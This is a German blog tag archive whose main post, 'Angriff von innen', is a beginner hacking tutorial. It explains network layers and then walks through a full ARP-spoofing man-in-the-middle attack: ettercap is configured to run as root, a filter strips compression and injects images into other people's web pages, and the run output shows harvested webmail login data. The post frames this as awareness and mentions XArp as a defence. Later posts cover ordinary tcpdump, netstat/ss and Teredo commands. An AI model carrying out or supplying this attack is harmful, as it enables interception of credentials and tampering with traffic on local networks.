Tag Archives: UDP

Angriff von innen

Hacken für Anfänger

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO “server”

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-Handschlag – TCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103” und die Netzmaske “255.255.255.0” daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[…]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “Man In The Middle” Taktik angewandt.


Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[…]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[…]
…und # vor den iptables-Regeln entfernen…
[…]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[…]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[…]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[…]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-

TCPdump – HowTo

TCPdump ist ein sehr mächtiger PacketSniffer für die Kommandozeile.


Installation: TCPdump

aptitude install tcpdump


TCPdump verwenden

Standard TCPdump Output:

tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:14:25.060050 IP 89.35.90.202.clax.ro.27015 > h89-37-110-61.teleson.ro.27005: UDP, length 229
15:14:25.060071 IP 89.35.90.202.clax.ro.27015 > 86-124-241-9.rdsnet.ro.27005: UDP, length 374
15:14:25.060213 IP 86-124-240-65.rdsnet.ro.27005 > 89.35.90.202.clax.ro.27015: UDP, length 78
15:14:25.060236 IP 91-213-135-21.optic-bridge.com.ro.45249 > 89.38.255.34.28822: UDP, length 20


Netzwerkadapter anzeigen

tcpdump -D

1.eth0
2.eth1
3.vmnet1
4.eth2
5.vmnet8
6.any (Pseudo-device that captures on all interfaces)
7.lo


Anzeigen von IP-Adressen anstatt DNS-Namen

tcpdump -n

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:16:30.923169 IP 89.35.90.202.38331 > 89.35.90.18.62613: P 2328456744:2328456940(196) ack 4034413693 win 644
15:16:30.923325 IP 89.35.90.202.38331 > 89.35.90.18.62613: P 196:360(164) ack 1 win 644


Ausgabe kürzen / zusammenfassen

tcpdump -q

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
15:17:03.118429 IP 89.35.90.202.clax.ro.38331 > 89.35.90.18.clax.ro.62613: tcp 196
15:17:03.119439 IP 89.35.90.202.clax.ro.53853 > ns1.clax.ro.domain: UDP, length 42
15:17:03.119631 IP host101-233-dynamic.245-95-r.retail.telecomitalia.it.11563 > 89.38.255.182.36307: UDP, length 20
15:17:03.119880 IP 79-113-85-203.rdsnet.ro.62621 > 89.35.90.202.clax.ro.27015: UDP, length 46
15:17:03.119903 IP user-ip-23-89-33-89-sel.rdsnav.ro.63087 > 89.35.90.202.clax.ro.27015: UDP, length 58
15:17:03.119913 IP 89.123.112.67.40328 > 89.38.255.34.63681: tcp 0



Netzwerkadapter angeben

tcpdump -i eth0


UDP-Pakete filtern

tcpdump udp


TCP Port 80 Traffic aufzeichnen

tcpdump port http
tcpdump port 80

TCP Quell-Port 80 Traffic aufzeichnen

tcpdump src port 80


TCP Ziel-Port 80 Traffic aufzeichnen

tcpdump dst port 80


Traffic-Aufzeichnung von einer bestimmten IP

tcpdump host 192.168.1.1


Traffic-Aufzeichnung von einer bestimmten Quell-IP

tcpdump src 192.168.1.2


Traffic-Aufzeichnung von einer bestimmten Quell-IP

tcpdump dst 10.1.1.2


Traffic-Aufzeichnung nach 20 Paketen stoppen

tcpdump -c 20


Traffic-Aufzeichnung eines IP-Netzes

tcpdump net 192.168.1.0/24


Output in eine Datei umleiten

tcpdump -w tcpdump_capture.log


Lesen eines TCPdump-Logs

tcpdump -r capture.log


netstat + ss + lsof

Mit den folgenden kleinen Kommandos kannst du sehen, welche Verbindungen von welcher IP / Port / Programm zu welchem Ziel aufgebaut wurden.

__________________________________________

netstat -nat

-> aktive Verbindungen (auch solche welche eine Verbindung aufgebaut haben bzw. soeben versuchen)

netstat --udp --tcp --listening --programs --numeric

bzw.

netstat -ntauple

-> alle TCP/UDP-Sockets anzeigen auf denen gelauscht wird

ss -l -p -e

-> alle Sockets anzeigen auf denen gelauscht wird

ss -o state established '( dport = :ssh or sport = :ssh )'

-> aufgebaute SSH-Verbindungen anzeigen

ss -t -a

-> zeigt alle TCP-Verbindungen an

ss -u -a

-> zeigt alle UDP-Verbindungen an

lsof -i -nP

-> zeigt alle Verbindungen, deren Ports, Programme, PID und dessen User an

ipv6 + Ubuntu

Das Teredoprotokoll definiert eine Methode für den Zugriff auf das IPv6-Netzwerk hinter einem NAT-Gerät zu ermöglichen. Die Funktion besteht darin, dass die IPv6-Pakete mit UDP über IPv4 gekapselt werden. Dies geschieht mit Hilfe sogenannter Teredoserver.

1.) Installation / Start unter Ubuntu

sudo aptitude install miredo
sudo /etc/init.d/miredo start

2.) IPv6 Anzigen lassen:

ifconfig teredo

3.) IPv6 testen

ping6 -c 4 ipv6.google.com